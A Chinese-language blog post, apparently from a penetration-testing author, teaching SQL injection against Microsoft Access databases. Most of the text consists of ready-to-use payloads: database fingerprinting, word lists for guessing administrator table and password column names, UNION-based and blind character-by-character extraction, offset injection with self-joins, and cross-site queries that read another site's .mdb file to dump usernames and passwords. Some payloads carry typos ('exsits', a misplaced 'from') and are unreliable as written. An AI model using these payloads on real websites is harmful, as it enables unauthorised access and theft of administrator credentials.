Sql注入之Access

Sql注入之Access

Access数据库介绍

Access数据库是由微软开发的小型数据库,可以存储100M之内的信息。

Access数据库判断

and exsits (select * from msysobjects)>0

Access注入利用

  • 方法一
判断表名

运用如下命令返回正常即存在

and exsits (select * from admin)

Access数据库常见管理员表名:

admin
admin_user
admin_msg
admin_usr
admin_login
username
manager
manag
msg
msg_user
msg_login
useradmin
user_msg
userlogin
users
member
判断列

运用如下命令返回正常即存在列

and exsits (select id from admin)

Access数据库常见的管理员列名:

admin
admin_user
username
users
usr
user_login
user_name
name
loginname
admin_login
msg_name

管理员密码列名:

password
pwd
pass
user_pass
判断列数
order by num

num<=真正列数是时返回正常

联合注入
union select 1,2,……num from user

页面会回显1,2,3……num,选择可以看到的进行查询,例如选择1从user表查name

union select name,2,……num from user

在刚才回显1的地方就可以看到name的值

  • 方法二(工具一般使用该方法实现)

判断表名和列名用方法一种的,如下方法是用来精确判断内容

判断返回内容长度
and (select top 1 len(name) from user)=5

top 1:返回第一个数据

top 2:返回前两个数据

当从user表中查询到name列返回的第一个数据长度为5时页面返回正常

精确判断内容
and (select top 1 asc(mid(name,1,1)) from user)=97	#97为ascii码

asc():返回ascii码

mid():https://www.runoob.com/sql/sql-func-mid.html

如上使用ascii码的方式进行查询

偏移注入

适用情况

猜不到列名的时候

利用
  • 方法一

假设有5列

union select 1,2,3,4,* from admin
union select 1,2,3,* from admin

如上依次前推 *,页面返回正常时,它会从数据库中随机爆出数据

  • 方法二

公式:

总列数-方法一种第一次回显正常时剩下的列数(*号前的数)

假设有11列,第一次在10处成功回显,如下

union select 1,2,3,4,5,6,7,8,9,* from admin

根据公式的11-9=2,则下一次在原有基础上减去4个,再加上一些命令如下

union select 1,2,3,4,5,6,7,* from (admin as a inner join admin as b on a.id=b.id)

inner join内连接:https://blog.csdn.net/rocling/article/details/90516802

如果没有注入出想要的结果,然后在进行一次注入:

union select from 1,2,3,4,5,* from ((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id)

该命令可以一直注入到剩余的列数无法在减2为止

跨库查询

介绍

对一个站点数据库进行注入,从而可以查询出另一个站点的数据库。

适用场景

两个站点在同一服务器上,其中一个站点有注入漏洞,知道另一个站点数据库的绝对路径。

利用

假设存在注入的数据库的表列数有3列

另一个站点的数据库的路径为E:\www\data\data.mdb

union select 1,name,password from [E:\www\data\data.mdb].admin	#.后面的admin为表名
posted @ 2020-02-17 14:12  she11s  阅读(240)  评论(0编辑  收藏  举报